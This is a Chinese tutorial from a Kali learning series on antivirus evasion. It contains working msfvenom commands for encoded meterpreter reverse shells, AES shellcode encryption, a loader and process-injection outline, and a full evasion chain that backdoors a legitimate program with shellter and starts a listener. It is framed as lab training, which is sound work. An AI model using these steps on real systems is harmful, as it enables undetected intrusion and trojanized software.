📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux → 网络 → 密码学 → 编程 → Docker
模块 1 信息收集 ✅ 已完成 | 模块 2 Web渗透 ✅ 已完成
19-31 扫描 → 漏洞 → sqlmap → XSS → WAF绕过
模块 3 代码审计 ✅ 已完成
32-37 审计入门 → Node.js → PHP → Java → Python → CVE复现
模块 4 漏洞利用与后渗透(进行中)
38 Metasploit 入门 ✓ | 39 Payload 生成 ✓ | 40 Linux 提权 ✓ | 41 Windows 提权 ✓ | 42 权限维持 ✓
43 免杀技术基础(当前篇)
模块 4 即将完结,后续进入逆向工程 → 恶意软件分析 → 内网渗透
免杀技术基础:编码、混淆与分段加载
网络安全 Kali 学习系列 · 第 43 篇 · 模块 4 漏洞利用与后渗透
读完本篇你将能:理解杀毒软件的静态扫描与动态行为检测原理,使用 msfvenom 编码器对 payload 进行多轮编码,掌握 shellcode 加密加载和分段注入的基本思路,在 Metasploitable 靶场环境中完成从 payload 生成到绕过基础检测的完整链路。
前三十九篇生成的所有 payload——msfvenom 直出 exe、bash 反弹 shell、meterpreter——在真实环境中几乎都会被杀毒软件拦截。第 39 篇介绍了编码器的概念但没有深入,本篇补上这块拼图:为什么单纯编码效果有限?现代免杀需要哪些技术栈?ATT&CK 框架将其归类为 T1027(混淆文件信息)和 T1036(伪装)。
目录
第一章 杀毒软件检测原理:静态与动态
第二章 msfvenom 编码器深度应用
第三章 Shellcode 加密与加载器分离
第四章 分段加载与进程注入
第五章 实战免杀链路:从生成到投递
第六章 分级练习
第一章 杀毒软件检测原理:静态与动态
要把钥匙偷带进安检,先得了解安检怎么查。杀毒软件的检测手段分两大类:静态扫描(不运行文件,分析文件特征)和动态行为(在沙箱中运行,监控行为)。两种方式覆盖不同的检测面,需要不同的绕过策略。
1.1 静态检测
静态检测在文件不执行的情况下判断是否恶意,主要手段包括:
| 检测方式 |
原理 |
绕过策略 |
| 特征码扫描 |
数据库中的已知恶意字节序列匹配 |
编码/加密改变字节特征 |
| 启发式分析 |
分析 PE 结构、导入表、可疑节区 |
伪装 PE 头、修改导入表 |
| 熵值检测 |
高熵值(接近 8)暗示加密/压缩 |
混合明文与密文降低平均熵 |
| YARA 规则 |
基于模式匹配的规则引擎 |
改变代码结构和字符串模式 |
1.2 动态检测
动态检测将文件放入沙箱中运行,监控系统行为。即使静态特征通过了,异常行为依然会被拦截:
| 行为特征 |
触发检测 |
绕过思路 |
| 注入其他进程 |
CreateRemoteThread / NtMapViewOfSection |
使用间接注入方式 |
| 创建子进程 |
cmd.exe / powershell.exe 作为子进程 |
避免创建系统进程 |
| 网络连接 |
连接已知 C2 IP/域名 |
使用域名前置、合法域名中转 |
| 注册表修改 |
写入 Run 键、修改文件关联 |
延迟执行、检测沙箱环境 |
💡 小贴士
现代 EDR(端点检测与响应)系统结合了静态和动态检测,还引入了行为基线——学习用户正常行为模式,偏离基线即报警。EDR 的核心优势不是阻止已知威胁,而是发现未知行为异常。这也是为什么纯技术免杀越来越难——你需要对齐用户正常行为画像。
第二章 msfvenom 编码器深度应用
第 39 篇展示了 msfvenom -e x86/shikata_ga_nai -i 5 的基本用法。本篇深入编码器的工作原理和局限性。
2.1 编码器列表与原理
Shell · 编码器列表
encoders.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 列出所有可用编码器
msfvenom --list encoders
# 常用编码器:
x86/shikata_ga_nai # 最强编码器,XOR+反馈,x86 专用
x86/xor_dynamic # 动态 XOR 密钥
x86/countdown # 倒计数解码器
cmd/brace # Bash 花括号混淆
cmd/quotes # 引号混淆
# shikata_ga_nai 原理:XOR 加密 + 自反馈解码
# 每次迭代使用不同的寄存器和指令顺序
# 但解码存根(stub)本身有固定特征
|
shikata_ga_nai(日语"仕方がない",意为"无可奈何")是 MSF 最强的编码器。它使用 XOR 加密配合自反馈解码器,每次迭代的寄存器和指令顺序都随机化。但关键局限在于:解码存根本身有可识别的特征——杀毒厂商早已将 shikata_ga_nai 的解码器模式加入特征库。
2.2 多编码器链式组合
单一编码器迭代 N 次效果有限——杀毒软件只需要识别第一层解码存根。链式组合不同编码器可以增加检测难度。
Shell · 多编码器链式组合
chain_encode.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 第一层:shikata_ga_nai 编码 5 次
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -f raw -o stage1.raw
# 第二层:对第一层输出再用 countdown 编码
msfvenom -p - # 从 stdin 读取
< stage1.raw \
-e x86/countdown -i 3 -f raw -o stage2.raw
# 第三层:再包裹一层 shikata_ga_nai
msfvenom -p - < stage2.raw \
-e x86/shikata_ga_nai -i 1 -f exe -o final.exe
# 注意:多层编码后文件体积会显著增大
|
⚠️ 常见错误
msfvenom -e x86/shikata_ga_nai -i 100 — 迭代 100 次不会更隐蔽,反而因为文件膨胀(每次添加解码存根)和熵值飙升(高熵本身就是检测指标)更容易被发现
✓ 正确:迭代 3-5 次足够,重点在组合不同编码器和改变 payload 结构
第三章 Shellcode 加密与加载器分离
编码器的局限在于:解码存根和编码后的 payload 还在同一个文件中。如果把加密的 shellcode 和解密加载器分开——shellcode 作为数据嵌入,加载器负责运行时解密并执行——杀毒软件静态扫描时只看到一个普通程序在操作数据,而不是一段 payload。
3.1 Shellcode 提取与加密
Shell · Shellcode 提取与 AES 加密
encrypt_shellcode.py
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# 1. 生成 raw shellcode(C 格式)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 -f c
# 2. 用 Python 加密 shellcode
python3 -c "
import base64
from Crypto.Cipher import AES
key = b'16bytesecretkey!'
shellcode = bytes([0xfc,0xe8,...]) # msfvenom 输出
pad = 16 - len(shellcode) % 16
shellcode += bytes([pad]) * pad
cipher = AES.new(key, AES.MODE_CBC, key)
enc = cipher.encrypt(shellcode)
print(base64.b64encode(enc).decode())
" > encrypted.txt
# 3. 加载器(C 代码框架,编译后运行时解密)
# VirtualAlloc → 分配可执行内存
# memcpy → 写入解密后的 shellcode
# CreateThread → 执行 shellcode
# 4. 将加密数据嵌入加载器
# 加密后的 shellcode 作为字符串常量
# 编译为正常 PE 文件
# 静态扫描只看到 base64 字符串,无可执行特征
|
这种方法的核心思路是关注点分离——把"做什么"(shellcode)和"怎么执行"(加载器)拆开。杀毒软件扫描 PE 文件时,看到的是一个包含 base64 字符串的普通程序,而不是一个可执行的 payload。只有运行时才解密并注入内存。
💡 小贴士
加载器编写时注意:不要使用 CreateRemoteThread 直接注入——这是被监控最严格的 API。替代方案包括 fiber、APC queue 或 callback function 注入方式,这些方式在 ATT&CK T1055 下有详细分类。
第四章 分段加载与进程注入
分段加载(Staged Payload)是另一个免杀思路:不在文件中包含完整的 payload,而是只放一个微小的 stager(约 200 字节),运行时从网络下载真正的 payload 并在内存中执行。磁盘上的文件极小且特征极少。
4.1 Staged 与 Stageless 对比
| 特性 |
Staged(分段) |
Stageless(无段) |
| 文件体积 |
约 200-500 字节(stager) |
约 10-50KB(完整 payload) |
| 网络依赖 |
运行时必须连接监听器 |
不需要网络连接即可执行 |
| 静态特征 |
少(磁盘上只有 stager) |
多(完整 payload 在文件中) |
| 网络检测 |
易被 IDS 识别 stager 通信 |
无网络特征 |
| 适用场景 |
投递阶段,文件需绕过静态 |
离线环境,网络不稳定 |
4.2 进程注入流程
Shell · 进程注入流程(概念)
inject.sh
|
1
2
3
4
5
6
7
8
9
10
11
|
# 进程注入的五个步骤(Windows API 链路)
1. OpenProcess() # 获取目标进程句柄
2. VirtualAllocEx() # 在目标进程中分配内存
3. WriteProcessMemory() # 写入 shellcode 到分配的内存
4. CreateRemoteThread() # 在目标进程中创建线程执行
5. WaitForSingleObject() # 等待线程执行
# MSF 中使用 migrate 命令实现注入
meterpreter > migrate -N explorer.exe
meterpreter > getpid # 确认已迁移到 explorer
|
meterpreter 的 migrate 命令就是进程注入的封装——将当前会话从 payload 进程迁移到一个合法进程(如 explorer.exe),从而在 payload 进程退出后保持会话。这也是第 42 篇权限维持的一个补充:注入到合法进程后,即使原始后门被清除,会话依然存活。
第五章 实战免杀链路:从生成到投递
将前面各章技术串联成一条完整的免杀链路。以一个授权测试场景为例:目标运行 Windows 10 + Windows Defender,需要投递一个反弹 shell payload。
5.1 完整链路
Shell · 免杀链路
evasion_chain.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# Step 1: 生成 raw shellcode
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 -f raw -o shellcode.raw
# Step 2: 用 shikata_ga_nai 编码 3 次
msfvenom -p - < shellcode.raw \
-e x86/shikata_ga_nai -i 3 -b '\x00\x0a\x0d' \
-f raw -o encoded.raw
# Step 3: AES 加密编码后的 shellcode
python3 encrypt_loader.py encoded.raw > enc.txt
# Step 4: 将加密数据嵌入加载器,编译为 EXE
x86_64-w64-mingw32-gcc loader.c -o update.exe -lwinhttp
# Step 5: 用 shellter 给合法程序注入后门
shellter -a -s -f legit_app.exe \
-p reverse_tcp_tcp 192.168.56.1 4444
# Step 6: 设置监听器
msfconsole -q -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; set LPORT 4444; run"
|
这条链路结合了编码、加密、加载器分离和合法程序注入四种技术。每一步都在减少静态特征:编码改变原始字节 → 加密消除编码存根特征 → 加载器伪装为普通程序 → 注入合法程序使文件本身是可信的。
💡 小贴士
Shellter 是一个 PE 注入工具,它修改合法程序的控制流,在程序执行入口处插入一段跳转指令到 shellcode。程序本身的原始功能完好——双击运行时先执行 shellcode 再正常工作。这种"寄生"方式让杀毒软件更难区分恶意和正常程序。
第六章 分级练习
🟢 基础验证
任务:使用 msfvenom 生成三种格式的 payload(raw、C、python),分别用 shikata_ga_nai 编码 1 次、3 次、5 次,对比三种文件的大小差异。用 file 和 xxd | head 查看每种格式的前 64 字节,理解编码对文件头的影响。
参考解法:raw 格式是纯 shellcode 字节,无文件头;C 格式输出 unsigned char 数组;python 格式输出 bytes 对象。编码 1 次的文件比原始大约增加 200 字节(解码存根),每次额外迭代再增加约 100 字节。5 次编码后文件大约比原始大 600-800 字节。
🟡 组合应用
任务:编写一个 Python 脚本,实现 shellcode 的 AES-CBC 加密功能。脚本接收 raw shellcode 文件作为输入,输出 base64 编码的密文。再编写一个对应的解密函数验证加密解密的正确性。在 Metasploitable 靶场上生成一个 reverse_tcp shellcode,用你的脚本加密,验证解密后的 shellcode 与原始文件一致。
提示:使用 from Crypto.Cipher import AES(pycryptodome 库),注意 PKCS7 填充。密钥用 16 字节随机生成,IV 用密钥本身或单独生成。验证:md5sum original.raw decrypted.raw 两个哈希值应一致。
🔴 开放挑战
任务:在隔离的 Windows 虚拟机中部署 Windows Defender(或使用 VirusTotal 上传测试),设计一个免杀方案使 payload 通过静态检测。要求:(1) 记录原始 payload 的检测率(用 VirusTotal 扫描);(2) 尝试至少三种免杀技术组合(编码、加密、加载器分离、shellter 注入);(3) 记录每种组合后的检测率变化;(4) 分析检测率最低的方案为什么有效。注意:VirusTotal 上传的样本会被共享给杀毒厂商,实际测试中应使用本地隔离环境。
参考方向:关注"熵值"指标——单一编码后的高熵值本身就是红旗。成功的免杀方案通常混合明文字节和密文字节降低平均熵。研究 ATT&CK T1027 的子技术列表了解最新的混淆分类。
💡 小贴士
免杀技术的时效性极强——杀毒厂商持续更新检测规则,今天有效的方案明天可能失效。本系列的免杀内容聚焦原理和思路,不提供即开即用的免杀方案。在实际渗透测试中,免杀是"定制"工作——针对目标环境的杀毒软件版本和配置定制 payload。
知识回顾
静态检测
动态检测
特征码扫描
启发式分析
熵值检测
shikata_ga_nai
链式编码
Shellcode 加密
加载器分离
Staged/Stageless
进程注入
Shellter 注入
ATT&CK T1027
ATT&CK T1055
下一篇预告
模块 4(漏洞利用与后渗透)至此全部完成。从 Metasploit 入门到 payload 生成、从 Linux/Windows 提权到权限维持和免杀,你已经走通了从"发现漏洞"到"持久控制"的完整链路。系列接下来进入模块 4-2:逆向工程基础。下一篇将从 x86/x64 汇编基础和 PE/ELF 文件格式入手,为后续的静态分析、动态调试和恶意软件分析打下底层基础。汇编语言是逆向工程的"字母表"——看不懂汇编,Ghidra 和 GDB 的输出就是天书。
关注本公众号,持续获取网络安全 Kali 学习系列更新。如果觉得有帮助,欢迎点赞、在看、分享给同样在学习网络安全的朋友。